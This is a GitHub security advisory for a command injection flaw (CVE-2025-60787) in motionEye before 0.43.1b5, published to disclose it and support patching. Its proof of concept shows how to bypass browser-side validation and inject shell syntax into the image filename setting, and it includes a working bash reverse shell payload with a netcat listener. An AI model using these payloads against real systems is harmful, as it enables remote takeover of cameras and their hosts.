Skip to content

motionEye vulnerable to RCE via unsanitized motion config parameter

High severity GitHub Reviewed Published Nov 1, 2025 in motioneye-project/motioneye • Updated Nov 3, 2025

Package

pip motioneye (pip)

Affected versions

< 0.43.1b5

Patched versions

0.43.1b5

Description

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI)

ConfigHandler.set_config()

camera-*.conf written

motionctl.restart()

Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.


Environment Setup

  1. Start MotionEye container
    Launch the vulnerable container:

    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
  2. Verify version
    Confirm the running version inside logs:

    docker logs motioneye | grep "motionEye server"

    Result:

    motionEye server 0.43.1b4
    
    version_ver
  3. Container shell access (for verification later)
    Keep a shell handy to verify results:

    docker exec -it motioneye /bin/bash
    ls -la /tmp

Exploitation Steps

  1. Access Web Interface

    • Open browser at: http://127.0.0.1:9999
    • Login with default credentials: admin / (blank password)
    • Add a sample RTSP network camera (required to enable camera-specific settings).
    add_camera
  2. Attempt malicious filename input

    • Go to: Camera Settings → Still Images
    • In the Image File Name field, try:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    • Observation: This is blocked by client-side validation in the browser.
    er1 er2
  3. Client-Side Validation Discovery

    • The check is implemented in JavaScript:
      • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
    • Example validation function:
      function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
          if (this.invalid) { valid = false; return false; }
        });
        return valid;
      }
  4. Bypass Validation

    • Open browser console (F12 → Console tab)
    • Override the function to always return true:
      configUiValid = function() { return true; };
    • This bypasses client-side validation and allows arbitrary values.
    bypass
  5. Inject Payload

    • Set Capture Mode: Interval Snapshots
    • Set Interval: 10
    • Set Image File Name to the payload:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    • Click Apply to save settings.
    inject_payload
  6. Verify Execution

    • Inside the container shell:
      ls -la /tmp
    • Result: File /tmp/test is created with root permissions, confirming code execution.
    verify

Weaponizing RCE (Reverse Shell Example)

  1. Start attacker listener

    nc -lvnp 4444
  2. Inject reverse shell payload
    Enter the following into the Image File Name field:

    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
  3. Result

    • A reverse shell connects back to the attacker’s machine.
    • Attacker gains full control of the MotionEye container environment.
    final

Root Cause

  • MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
  • On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

  1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
  2. Containerized and bare-metal installs alike.

Potential consequences:

  1. Full compromise of MotionEye container.
  2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

References

@MichaIng MichaIng published to motioneye-project/motioneye Nov 1, 2025
Published to the GitHub Advisory Database Nov 3, 2025
Reviewed Nov 3, 2025
Last updated Nov 3, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(96th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

CVE ID

CVE-2025-60787

GHSA ID

GHSA-j945-qm58-4gjx

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.